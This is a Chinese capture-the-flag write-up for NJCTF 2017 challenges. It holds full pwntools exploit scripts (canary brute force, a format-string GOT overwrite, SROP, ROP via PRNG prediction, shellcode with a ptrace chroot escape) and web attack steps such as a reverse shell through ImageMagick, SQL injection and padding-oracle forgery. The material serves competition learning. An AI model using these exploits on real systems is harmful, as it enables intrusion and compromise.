作者:Veneno@Nu1L
预估稿费:500RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
PS:十分感谢清华的大佬们的高质量题目(第一次写web题这么多的比赛wp,感谢大佬照顾web狗
MIsc
check QQ
QQ群看下:
Shooter
jpg末尾发现有png文件的IDAT块,提取出来缺少png文件头前四字节,补全打开得到一个二维码,扫描后得到
key:"boomboom"!!!
然后拿着"boomboom"!!!试了一大把隐写工具,最后outguess 成功解密。得到 flag。
easy_crypto
直接贴脚本:
Ransom
题目提供了一个xp虚拟机的硬盘和内存文件,由于题目没有更多的信息,所以我们首先尝试开启这一虚拟机。一路顺风我们启动了它,看到了桌面上醒目的flag和勒索软件提示页面,大概也猜到了是要干什么了。
观察vmem、vmdk修改时间可知二者并不处于同一状态,大概出题人酱又去偷偷干了什么不可描述的事吧。
于是利用开源内存取证神器Volatility,观察进程树pstree得知WinRAR调用了记事本和rundll32。
考虑到有窗口信息,于是使用screenshot插件+editbox插件,得知记事本的内容:
窗口的分布:
想着要从内存里把这些文件揪粗来,然而并无任何头绪。于是继续探索,想到可能会有勒索软件的dll注入到进程中,于是将winrar、notepad、rundll32的内存dump出来,顺便也看到了命令行,得知winrar调用图片查看器、记事本来打开文件。脑洞奇大的窝顿时脑补出带着payload的畸形图片无情的欺凌着我们可爱的xp娘blablabla…..
在经过了一两个小时的混沌后,反射弧奇长的我终于还是反应过来这是一道杂项题而不是re题。目标只有一个,就是拿到压缩包里面的内容。文件可能藏在内存里,也可能是出题人删除了。于是兵分两路,利用openfiles插件dump出文件列表,发现并没有什么东西;另一边挂载vmdk虚拟硬盘,利用DiskGenius恢复文件,得到了.key.zip、private.jpg、public.jpg
一般的ransomware都是把文件用诸如AES、RC4等对称加密算法加密后再把密钥用RSA加密一次,因为RSA实在是太慢了。如此明确的文件名提示可以看出来有三个aes key,猜测是分别对应了三个flag文件,也印证了刚才的猜想( ˘•ω• ˘)
于是开始利用private.jpg内存储的HexString尝试解密,发现和一般的RSA并不相同,以为里面存储了d。可是想到public.jpg也是这样的格式,总不可能一个存n一个存d吧。天然呆的窝终于还是想起来了开头的记事本下面有两行out1=private.jpg out2=public.jpg。猜测这两个文件又被加密了,于是开始猜测算法。密钥看着很像Base64,原长度为32,decode后长度会变为24,这两种密钥长度对应常见的算法是AES、3DES、Blowfish。于是利用飘云阁的密码学综合工具尝试解密,发现AES解出第一个block中出现少量明文字串。
猜测是由于CBC与ECB模式的原因,于是利用一个在线的AES加解密网站http://aes.online-domain-tools.com/,成功解出private.jpg,但是由于iv未知,导致第一个block的内容丢失。不过好在丢的是“—–BEGIN RSA PRIVATE KEY—–”,不影响使用。
利用这个私钥再去解密三个aes key,
解密后如下:
aes key1:YzRhbjBxli9aHy3oHrEtjOiGBLaXUO9U
aes key2:7MBUeEeh3XFMY6tK4OOPonFiKkFRZWWF
aes key3:501v0w08v4qYs3VBg32Kl6ccoT5PZmLx
再用aes key解出三个flag文件的内容,发现有大量乱码,但是末尾出有部分 flag出现。
通过观察猜测flag均从逗号开始,拼接三部分得到最终flag:
NJCTF{L3t_Vs_G0ooo0000_g000000_9o}
啦啦我是一血OvO
knock
字频统计:
根据knock将text中的密文分割(下划线代表分隔符)在quipqiup破解换字式密文后得到一段栅栏密码,解密得到flag
Traffic
此题有两个关键点。1寻找到正确的藏flag的数据。2 找到合适的算法恢复数据。
Wireshark打开pcap包,各种看,做了非常多的无用功。无意间看到PRIVMSG。使用2进制工具搜索
然后使用strings xx.pcap|grep Lord_BIG@> a.txt,得到包含一堆像base64串的数据。
写脚本解开所有base64串发现是一篇文章。
队友使用wireshark搜索提取的字符串,发现跟我提取的结果不一致。
一个文件243个base64串,一个文件240个base串。
Strings简单粗暴,无法过滤重复包之类的。暂时使用队友提供的数据进行分析。
然后卡了很久。不知道下一步干啥。
过了很久队友找到了这个。感觉跟题目很类似。
http://delimitry.blogspot.nl/2014/02/olympic-ctf-2014-find-da-key-writeup.html
使用题目数据进行验证。
下一步找数据隐藏算法。写脚本恢复数据。出题人使用包含=的字符串进行数据隐藏。
将所有base64串 先decode,再encode。找出有差异的字符。
发现差值为1,2,3。猜测隐藏了2bit数据。
将所有包含=的字符串参与数据提取运算。得到的数值为0,1,2,3.将所有数据拼接在一起即可解出数据。
组合数据时候,使用穷举的方法。常识了想到的所有可能。2字节数据大小端序,数据块大小端序等。。。
最后得到
PWN
Pwn 150 – messager
Fork server逐字节爆破canary。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
import os, sys
io = None
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
def makeio():
global io
if LOCAL:
io = remote('localhost', 5555)
else:
io = remote('218.2.197.234',2090)
return io
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def send(x):
ru('Welcome!n')
sn(x)
return
# define exploit function here
def pwn():
canary = 'x00'
while len(canary) != 8:
for i in xrange(256):
b = chr(i)
payload = 104*'A' + canary + b
io = makeio()
try:
print 'sending...', i
send(payload)
line = ru('n')
if 'Message' in line:
io.close()
canary += b
break
except Exception, e:
print e
io.close()
continue
info("canary = " + hex(u64(canary)))
io = makeio()
payload = 104*'A' + canary + p64(0x12345678) + p64(0x400BC6)
send(payload)
io.interactive()
return
if __name__ == '__main__':
pwn()
Pwn 300 - pingme
Blind Fsb, 先把binary dump下来,然后直接改printf got表。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
import os, sys
io = None
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
def makeio():
global io
if LOCAL:
io = process('xxx')
else:
io = remote('218.2.197.235',23745)
ru('men')
return io
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
# 8 -> 9
# 12 -> 10
def leak(address):
if 'n' in p32(address) or 'x00' in p32(address): return 'x00'
tem = '~~%9$s~~' + p32(address)
sl(tem)
ru('~~')
data = ru('~~')[:-2]
return data + 'x00'
# define exploit function here
def pwn():
global io
if DEBUG: gdb.attach(io)
io = makeio()
'''
f = open('dump.bin', 'wb')
address = 0x8048000
while 1:
try:
io = makeio()
while 1:
data = leak(address)
f.write(data)
address += len(data)
except Exception, ex:
io.close()
f.flush()
f.close()
'''
sl('s')
ru('s')
addr = u32(leak(0x8049974)[:4])
info("leak = " + hex(addr))
libc = addr - 0x49020
system = libc + 0x3a940
info("system = " + hex(system))
s = p32(system)
fmtstr = ''
start = 0
for i in xrange(len(s)-1):
if ord(s[i]) >= start:
pad = ord(s[i]) - start
else:
pad = ord(s[i]) - start + 256
fmtstr += '%' + '{}'.format(pad) + 'c' + '%' + '{}'.format(16+i) + '$hhn'
start = ord(s[i])
print len(fmtstr)
fmtstr = fmtstr.ljust(36, 'A')
fmtstr += p32(0x8049974)
fmtstr += p32(0x8049975)
fmtstr += p32(0x8049976)
sl(fmtstr)
sl('/bin/sh;')
io.interactive()
return
if __name__ == '__main__':
pwn()
Pwn 300 - 233
爆破vDSO地址+SROP
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
import os, sys
import random
import time
# switches
DEBUG = 1
LOCAL = 0
VERBOSE = 1
io = None
context(arch='i386')
# modify this
def makeio():
global io
if LOCAL:
io = process('233')
else:
io = remote('106.14.22.20', 23743)
return io
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim, timeout=4)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def rop(ropchain):
payload = 0x16 * 'A' + ropchain
payload = payload.ljust(0x400, 'A')
sn(payload)
return
shellcode = asm(shellcraft.i386.linux.sh(), arch='i386')
# define exploit function here
def do_pwn(vdso):
writable = vdso - 0x4000
payload = ''
payload += 3 * 'AAAA' + p32(vdso + 0x401)
frame1 = SigreturnFrame(kernel='amd64')
frame1.eax = constants.SYS_read
frame1.ebx = 0
frame1.ecx = writable + 0x200
frame1.edx = len(shellcode)
if LOCAL: frame1.eip = vdso + 0xcde
else: frame1.eip = vdso + 0x42e
frame1.esp = writable + len(SigreturnFrame(kernel='amd64')) + len(payload)
payload += bytes(frame1)
#payload += 3 * 'AAAA' + p32(vdso + 0xcb1)
payload += 3 * 'AAAA' + p32(vdso + 0x401)
frame2 = SigreturnFrame(kernel='amd64')
frame2.eax = constants.SYS_mprotect
frame2.ebx = writable
frame2.ecx = 0x1000
frame2.edx = 7
#frame2.eip = vdso + 0xcde
frame2.eip = vdso + 0x42e
frame2.esp = writable + len(SigreturnFrame(kernel='amd64')) + len(payload)
payload += bytes(frame2)
payload += 3 * 'AAAA' + p32(writable + 0x200)
frame = SigreturnFrame(kernel='amd64')
frame.eax = constants.SYS_read
frame.ebx = 0
frame.ecx = writable # page offsets
frame.edx = len(payload)
frame.esp = writable # offset
#frame.eip = vdso + 0xcde # sigreturn
frame.eip = vdso + 0x42e
roppayload = p32(vdso + 0x401)
roppayload += bytes(frame)
rop(roppayload)
sn(payload)
sn(shellcode)
sl('echo pwned')
sl('ls -la /')
r = ru('pwned')
if r != 'pwned':
raise Exception('not receiving')
return
def local_get_mapping_address(name):
procmaps = open('/proc/{0}/maps'.format(io.pid), 'r')
mappings = procmaps.read()
procmaps.close()
t = [c.split(' ') for c in mappings.split('n')]
libinfo = []
for l in t:
k = []
for i in xrange(len(l)):
if l[i] == '': continue
k.append(l[i])
libinfo.append(k)
for lib in libinfo:
if len(lib) == 6:
if name in lib[5]:
return int(lib[0].split('-')[0], 16)
return 0
def pwn():
global io
VDSO_RANGE = range(0xf76d0000, 0xf77f0000, 0x1000)
raw_input()
if 0:
#do_pwn(vdso)
pass
else:
count = 0
while 1:
io = makeio()
print "Pwning..."
vdso = random.choice(VDSO_RANGE)
info("brute vdso = " + hex(vdso))
try:
do_pwn(vdso)
except:
io.close()
count += 1
info("failed {}".format(count))
continue
io.interactive()
break
return
if __name__ == '__main__':
pwn()
Pwn 500 – vegas
预测Well512伪随机数生成。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from z3 import *
from pwnlib.util.packing import *
from pwn import * # <3 pwntools, thanks guys :)
#io = process('./vegas.v1.striped')
io = remote('218.2.197.235', 23747)
context(log_level='debug')
prng_state = [BitVec("init_{0}".format(i), 32) for i in range(16)]
def un32(v) : return v & 0xffffffff
# PRNG iteration that works with Z3 bit vectors
def iteration(i):
next_i = (i+15)&15
b = prng_state[(i+13)&15] ^ prng_state[i] ^ (prng_state[i] << 16) ^ (prng_state[(i+13)&15] << 15)
c = prng_state[(i+9)&15] ^ ( LShR(prng_state[(i+9)&15], 11) )
prng_state[(i+10)&15] = c ^ b
a = prng_state[next_i]
v9 = (((8 * (c ^ b)) & 0xDEADBEE8))^ c ^ a ^ (a *2) ^ (b << 10) ^ (c << 24)
prng_state[next_i] = v9
return next_i
# PRNG iteration that works with normal numbers!
def iteration_numbers(i):
next_i = (i+15)&15
b = prng_state[(i+13)&15] ^ prng_state[i] ^ un32(prng_state[i] << 16) ^ un32(prng_state[(i+13)&15] << 15)
c = prng_state[(i+9)&15] ^ ( prng_state[(i+9)&15] >> 11 )
prng_state[(i+10)&15] = c ^ b
a = prng_state[next_i]
v9 = (((8 * (c ^ b)) & 0xDEADBEE8))^ c ^ a ^ un32(a << 1) ^ un32(b << 10) ^ un32(c << 24)
prng_state[next_i] = v9
return next_i
def iteration_attempts(outputs, it_start=0xb):
global prng_state
s = Solver()
it = it_start
for output in outputs:
it = iteration(it)
s.add(prng_state[it] == output)
return s
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(line):
return io.sendline(line)
def sn(data):
return io.send(data)
def menu():
return ru('Choice:n')
def getone():
menu()
sl('1')
ru('suren')
sl('3')
ru('is ')
number = int(ru('n').strip(),16)
return number
def writeByte(number, byte):
assert byte != 'n'
menu()
sl('1')
ru('suren')
if number & 1: sl('1')
else: sl('2')
ru('step:n')
sl(byte)
return
def forward(number):
menu()
sl('1')
ru('suren')
if number & 1: sl('2')
else: sl('1')
return
def quit():
menu()
sl('3')
return
def pwn():
global prng_state
gdb.attach(io)
out = []
for i in xrange(16):
out.append(getone())
s = iteration_attempts(out)
status = s.check()
print status
init_state = dict()
try:
model = s.model()
for k in model:
idx = int(str(k)[5:])
val = model[k].as_long()
init_state[idx] = val
except Exception, ex:
print ex
exit(0)
for i in xrange(16):
if i in init_state:
prng_state[i] = init_state[i]
else:
prng_state[i] = 0
it = 0xb
for i in range(16):
it = iteration_numbers(it)
for i in xrange(0x20):
it = iteration_numbers(it)
random_value = prng_state[it]
writeByte(random_value, 'A')
ru(32*'A')
stack_leak = u32(rn(4))
info("stack_leak = " + hex(stack_leak))
for i in xrange(4):
it = iteration_numbers(it)
random_value = prng_state[it]
writeByte(random_value, p32(stack_leak)[i])
pad = 'sh;'*4
ropchain = 'A' + pad[:11] + p32(0x0804860B) * 10 + p32(0x080484E0) + p32(0x08048550) + p32(stack_leak)
for i in xrange(len(ropchain)):
it = iteration_numbers(it)
random_value = prng_state[it]
writeByte(random_value, ropchain[i])
quit()
io.interactive()
return
if __name__ == '__main__':
pwn()
Pwn 600 – syscallhelper
1. Add sycall整数溢出可以改虚表。泄露堆地址,然后跳转到shellcode,由于本地远程堆布局不同,可以喷一些shellcode然后再跳。
2. 逃脱chroot,可以采用ptrace父进程的方法。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
from hexdump import hexdump
import os, sys
# switches
LOCAL = 0
DEBUG = LOCAL
VERBOSE = 0
# modify this
if LOCAL:
io = process('syscallhelper')
else:
io = remote('218.2.197.234',2088)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def menu():
return ru('option:n')
def setarch(index):
menu()
sl('4')
menu()
sl(str(index))
return
def genshellcode():
menu()
sl('3')
return
def setcall(name):
menu()
sl('1')
ru('name:')
sl(name)
return
def addcall(name, num, argcount, args):
menu()
sl('2')
ru('name')
sl(name)
ru('number')
sl(str(num))
ru('(argc)')
sl(str(argcount))
for pair in args:
ru('stop')
sl(str(pair[0]))
ru('value')
sl(pair[1])
ru('stop')
sl('0')
return
def leavemsg(length, content):
menu()
sl('5')
ru('length')
sl(str(length))
ru('message')
if len(content) != length: sl(content)
else: sn(content)
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
# uid = 0
shell_stage1 = '''
#define BSS_ADDR 0x0814D010
xor eax, eax
mov al, 3
xor ebx, ebx
mov ecx, BSS_ADDR
mov edx, 0x12345678
int 0x80
mov eax, BSS_ADDR
call eax
xor eax, eax
inc eax
int 0x80
'''
shellasm = '''
#define PUTS_ADDR 0x08048D30
#define PRINTF_ADDR 0x08048C70
#define NUM_STR 0x0804B469
#define STR_STR 0x0804AEB2
#define PTRACE_ID 26
#define GETPPID_ID 64
#define SPIRNTF_ADDR 0x08048B20
#define BSS_ADDR 0x0814c010
mov eax, GETPPID_ID
int 0x80
mov ebx, PTRACE_ATTACH
mov ecx, eax
mov eax, PTRACE_ID
xor edx, edx
xor esi, esi
int 0x80
test eax, eax
js failed
jmp next_stage
get_shellcode:
pop edi
mov ebp, 0x20
mov edx, 0x08049E0D
write_shellcode:
mov ebx, PTRACE_POKETEXT
mov esi, dword ptr [edi]
mov eax, PTRACE_ID
int 0x80
test eax, eax
js write_shellcode
mov ebx, 0x100000
wait:
dec ebx
jnz wait
add edx, 4
add edi, 4
dec ebp
test ebp, ebp
jnz write_shellcode
detach:
mov ebx, PTRACE_DETACH
xor edx, edx
xor esi, esi
mov eax, PTRACE_ID
int 0x80
mov eax, 1
int 0x80
failed:
mov eax, PUTS_ADDR
push NUM_STR
call eax
mov eax, 1
int 0x80
next_stage:
call get_shellcode
'''
sc = asm(shell_stage1, arch='i386')
sc = sc.rjust(0x600, "x90")
assert 'n' not in sc
assert 'x00' not in sc
sc2 = asm(shellasm, arch='i386')
sc2 += asm(shellcraft.i386.linux.sh())
payload = []
RANGE = 1
payload = [[-10, p32(0x08048D30)]]
addcall('ABCDABCDABCDABCD', 0, -1, payload)
setcall('ABCDABCDABCDABCD')
genshellcode()
leak = ru('n')
if len(leak) < 8:
info("failed leak.")
exit(0)
heap_addr = u32(leak[:4])
canary = u32(leak[4:8])
info("heap_addr = " + hex(heap_addr))
info("canary = " + hex(canary))
SPRAY_COUNT = 40
for i in xrange(SPRAY_COUNT):
leavemsg(len(sc), sc)
if not LOCAL: offset = 0x30000 # remote
else: offset = 0x20000 # local
shellcode_addr = heap_addr + offset
info("Jumping to = " + hex(shellcode_addr))
payload = [[-10, p32(shellcode_addr)]]
addcall('EXPLOIT_EXPLOIT_', 0, -1, payload)
setcall('EXPLOIT_EXPLOIT_')
genshellcode()
sn(sc2)
io.interactive()
return
if __name__ == '__main__':
pwn()
Re
echo server
主要的逻辑是比较输入是否是F1@gA,然后还有dword_804A088是否为0(这个需要手动 patch 成0),然后就会输出一个 hash 值,即为 flag。有些很常见的混淆手段。
on the fly
原题:https://github.com/ernw/ctf-writeups/tree/master/csaw2016/deedeedee
修改之处是,原题中 xor 的是当前计算出的输出的长度,而本题是输入的长度,故一直为 0x27,另外本题只循环到1 。解题脚本:
import std.range : cycle, zip;
import std.conv : to, hexString;
import std.stdio;
char[] enc(char[] data, string base ,int i) {
auto len = cast(char) to!int(base.length);
auto c = cycle(base);
char[] res;
foreach (tup; zip(c, data))
{
res ~= tup[0] ^ tup[1] ^ 0x27;
}
writeln(res);
return res;
}
int main() {
auto data = hexString!"585d5543506c2474252727272023222623277327257520212527772774247420702f202721756b";
char[] res = data.dup;
for (int i = 499; i >= 1; --i) {
string base = to!string(i);
res = enc(res, base ~ base ~ base , 499-i);
writeln(base ~ base ~ base);
}
writeln(res);
return 0;
}
first
程序先读取输入,然后开启6个线程去计算输入的6部分的 md5,每个部分都是4个字符。如果 md5匹配就把输入存进一个新的数组。然后校验这个新的数组是不是所有字符都合法,如果是的话就输出。
程序的关键点在于6个线程的执行顺序是随机的,程序开始的时候产生了6个随机数,即为每个线程的延迟时间。而且线程的执行顺序会影响到最终结果(后面有个 xor i,顺序错了字符就乱了)。6个线程的执行顺序是6!= 720种。
只要爆破这720种就能拿到 flag。
然而比赛的时候非常幸运,第二次运行就拿到了看起来非常像 flag 的字符串,猜猜改改提交就过了。
Mobile
vsvs
先爆破code,得到第一层code为22,然后有个溢出,直接传/bin/sh就能拿flag了:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
REMOTE = 0
LOCAL_REMOTE = 1
LOCAL = 2
rhost = "218.2.197.235"
rport = 23749
flag = REMOTE
debug = 0
def GetConnection():
if flag == LOCAL_REMOTE:
conn = remote(lhost,lport)
libc_addr = libc_addr_local
elif flag == REMOTE:
conn = remote(rhost,rport)
libc_addr = libc_addr_remote
elif flag == LOCAL:
conn = process(local_bin)
libc_addr = libc_addr_local
return conn,libc_addr
exp = 1024*"d" + "/bin/sh"
conn,libc_addr = GetConnection()
conn.sendlineafter("access code:n","22")
conn.sendlineafter("input:",exp)
conn.sendlineafter("?",exp)
conn.interactive()
easycrack
apk主要逻辑都在so里面,先把包名做了一些操作后和输入异或,然后rc4加密,秘钥是I_am_the_key,解密脚本如下:
# -*- coding: utf-8 -*-
import random, base64,binascii
from hashlib import sha1
def crypt(data, key):
"""RC4 algorithm"""
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
# 需要加密的数据
data = '7U'Y;J'
# 密钥
key = 'I_am_the_key'
key2 = 'V7D=^,M.E'
ori = "abcdef"
enc1 = ""
dec = binascii.a2b_hex("C8E4EF0E4DCCA683088134F8635E970EEAD9E277F314869F7EF5198A2AA4")
# 解码
decoded_data = crypt(data=dec, key=key)
print decoded_data ,len(decoded_data)
final = []
j = 0
m = 0
length = len(key2)
for i in decoded_data:
if j>=length:
j = 0
final.append(chr(ord(key2[j])^ord(i)))
print key2[j],"".join(final),hex(ord(key2[j])^ord(i))
j+=1
m+=1
littlerotatorgame
apk通过native activity实现所有的界面操作,通过加速度传感器获取当前设备的x,y,z坐标然后进行判断,so里面用ollvm混淆了但是计算flag的函数比较明显,而且计算flag的参数只有一个int值,所以可以爆破:
#include<stdio.h>
int j_j___modsi3(int a,int b)
{
return a%b;
}
int j_j___divsi3(int a,int b)
{
return a/b;
}
char flg(int a1, char *out)
{
char *v2; // r6@1
int v3; // ST0C_4@1
int v4; // r4@1
int v5; // r0@1
int v6; // ST08_4@1
int v7; // r5@1
int v8; // r0@1
int v9; // r0@1
char v10; // ST10_1@1
int v11; // r0@1
int v12; // r5@1
int v13; // r0@1
int v14; // ST18_4@1
int v15; // r0@1
int v16; // r0@1
char v17; // r0@1
char v18; // ST04_1@1
int v19; // r0@1
char v20; // r0@1
int v21; // r1@1
int v22; // r5@1
int v23; // r0@1
char v24; // r0@1
v2 = out;
v3 = a1;
v4 = a1;
v5 = j_j___modsi3(a1, 10);
v6 = v5;
v7 = 20 * v5;
*v2 = 20 * v5;
v8 = j_j___divsi3(v4, 100);
v9 = j_j___modsi3(v8, 10);
v10 = v9;
v11 = 19 * v9 + v7;
v2[1] = v11;
v2[2] = v11 - 4;
v12 = v4;
v13 = j_j___divsi3(v4, 10);
v14 = j_j___modsi3(v13, 10);
v15 = j_j___divsi3(v4, 1000000);
v2[3] = j_j___modsi3(v15, 10) + 11 * v14;
v16 = j_j___divsi3(v4, 1000);
v17 = j_j___modsi3(v16, 10);
//LOBYTE(v4) = v17;
v4 = v17;
v18 = v17;
v19 = j_j___divsi3(v12, 10000);
v20 = j_j___modsi3(v19, 10);
v2[4] = 20 * v4 + 60 - v20 - 60;
v21 = -v6 - v14;
v22 = -v21;
v2[5] = -(char)v21 * v4;
v2[6] = v14 * v4 * v20;
v23 = j_j___divsi3(v3, 100000);
v24 = j_j___modsi3(v23, 10);
v2[7] = 20 * v24 - v10;
v2[8] = 10 * v18 | 1;
v2[9] = v22 * v24 - 1;
v2[10] = v6 * v14 * v10 * v10 - 4;
v2[11] = (v10 + v14) * v24 - 5;
v2[12] = 0;
return v2;
}
//
/*
PvrUa7iv3Al1
PvrUb7Fv3Al1
PvrVb7Fv3Al1
PvrVa7iv3Al1
PvrMb7Fv3Al1
PvrMa7iv3Al1
PvrNb7Fv3Al1
PvrNa7iv3Al1
PvrOb7Fv3Al1
PvrOa7iv3Al1
PvrPb7Fv3Al1
PvrPa7iv3Al1
PvrQb7Fv3Al1
PvrQa7iv3Al1
PvrRb7Fv3Al1
PvrRa7iv3Al1
PvrSb7Fv3Al1
PvrSa7iv3Al1
PvrTb7Fv3Al1
PvrTa7iv3Al1
PvrUb7Fv3Al1
PvrUa7iv3Al1
PvrVb7Fv3Al1
PvrVa7iv3Al1
PvrMb7Fv3Al1
PvrMa7iv3Al1
PvrNb7Fv3Al1
PvrNa7iv3Al1
PvrOb7Fv3Al1
PvrOa7iv3Al1
PvrPb7Fv3Al1
PvrPa7iv3Al1
PvrQb7Fv3Al1
PvrQa7iv3Al1
PvrRb7Fv3Al1
PvrRa7iv3Al1
PvrSb7Fv3Al1
PvrSa7iv3Al1
PvrTb7Fv3Al1
PvrTa7iv3Al1
PvrUb7Fv3Al1
PvrUa7iv3Al1
PvrVb7Fv3Al1
*/
int main()
{
char out[256],flag = 0;
for(unsigned int i=0;i<=4294967295-1 ;++i)
{
flag = 0;
memset(out,0,256);
flg(i ,out);
if(strlen(out)>=10)
{
for(int j=0;j<12;++j)
{
if((out[j]>='a'&&out[j]<='z') || (out[j]>='A'&&out[j]<='Z') || (out[j]>='0'&&out[j]<='9')|| out[j]=='_' )
continue;
else
{
flag = 1;
break;
}
}
if(flag == 0)
printf("%sn",out);
}
}
return 0;
}
爆破了下有多种情况,一个个试过去可以找到真正的flag
WEB
Wallet
www.zip下载源码,密码弱口令,njctf2017,下载源码后解密即可:
发现关键判断是sha1==md5,于是找两个值都为0e的即可
然后分析源码,发现是个简单的sql注入,然后得到flag
Text wall
存在备份文件:
发现是一个任意文件读取,然后抓下包看下cookie,发现由两部分构成,后面部分是反序列化数据,前面部分是反序列化值得sha1值,先读了下index,得到flag文件位置,然后再本地构造一下拿到flag:
Be Logical
三部分:逻辑漏洞->ImageMagick->PHPMailer
逻辑漏洞:
先add1,然后在refund后将point改为1e5,就有了积分:
然后再去购买服务即可:
ImageMagick:
上传png图片发现会被转成bmp,猜测是imagemagick漏洞,于是直接开个reverse shell:
PHPMailer
但是比较尴尬的是没找到flag,于是探测内网,发现19存活主机,curl请求下:
猜测是PHPMailer漏洞,根目录不可写,存在uploads目录,但是一句话写进去无法执行,猜测做了权限设置,但是phpmailer在处理时应该是一个比较高的权限,于是写了多个文件去读,最后拿到flag:
Come On
宽字节的like盲注,写个脚本跑就好了:
Chall I
拿到题目,没有什么特别的思路,试了试nodejs反序列化命令执行也不行,在google上找了找,找到了这个https://www.smrrd.de/nodejs-hacking-challenge-writeup.html ,几乎跟题目是一样的思路,但是问题在于原来的题目没有对password进行md5,新的题目进行了md5。
又根据
于是想到寻找一个md5之后全部为数字的password,提交之后就会产生内存泄露。
脚本如下:
import hashlib
b='-=[],./;"abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
a=""
def find(str1):
print str1
flag=0
for i in hashlib.md5(str1).hexdigest():
if i>'9':
flag=1;
break
if flag==0:
print "====================================================="
print str1
print hashlib.md5(str1).hexdigest()
input("success")
if(len(str1)>3):
return
else:
for i in b:
find(str1+i)
if __name__ == '__main__':
find(a)
找到一个c;Iy,多次提交之后拿到flag:NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}。
Chall II
之后就是从https://www.smrrd.de/data/nodejs_hacking_challenge/nodejs_chall.zip 下载源码,把secret_key改成NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}之后登陆,得到session和session.sig分别为session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo;成功登陆成admin,之后解base64中文得到flag
Guess:
题目很简单,首先是一个lfi问价包含拿到upload的源码和index的源码,根据index发现不能跨目录,而且upload过滤很严格。漏洞在于
当phpsession设置为空,这样session_id()就为空了,于是可以cmd5解开$hash求知$ss,然后利用php_mt_seed这个工具爆破出来种子,就可以推测出文件名。
预测文件名的脚本如下:
然后于是利用zip伪协议getshell拿到flag:
blog:
题目源码下载下来之后,看到这个注册的时候参数解析有一个admin
同时发现
<li>
<%= gravatar_for user, size: 52 %>
<%= link_to user.name, user %>
<!--flag is here-->
<% if current_user.admin? && !current_user?(user) %>
| <%= link_to "delete", user, method: :delete,
data: { confirm: "You sure?" } %>
<% end %>
</li>
这个应该是在delete用户的地方触发的。又因为注册时候是user[password],user[email]这样的格式,于是构造user[admin]=1成功登陆,并拿到flag
Get Flag
&号后可以拼接命令,导致列目录
同时代码本身存在LFI,于是读到flag:
picture wall
题目开始没有get到点,后来fuzz的时候发现修改host为127.0.0.1的时候可以上传图片,发现后缀名应该是黑名单的过滤,因为我上传一个ppp之类的都行,于是开始测试,发现php,php3,php4,php5都被过滤了,但是phtml没有过滤,但是直接写shell提示是php文件,于是想到去年RCTF2015的那个题目,用<script language=‘php’>直接拿到shell,然后向上两层在html的同级目录找到flag
忘记截图了…
Login
注册admin+n多空格+a字符的用户即可成功,其实就是注册时拼接到数据库时有长度限制,导致
be admin
首先发现是存在备份文件index.php.bak。打开之后发现题目很熟悉,根据这个找到应该是今年sessionctf2016那个biscuiti的改编。首先根据流程,首先是使用username= ' union select 'albert','1' %23&password=伪造登录,登录之后就是实现padding oracle attack了,原理如下图
所以就可以在login哪里触发padding oracle,然后CBC翻转伪造为admin
脚本如下
import requests
import base64
import time
url='http://218.2.197.235:23737/'
N=16
phpsession=""
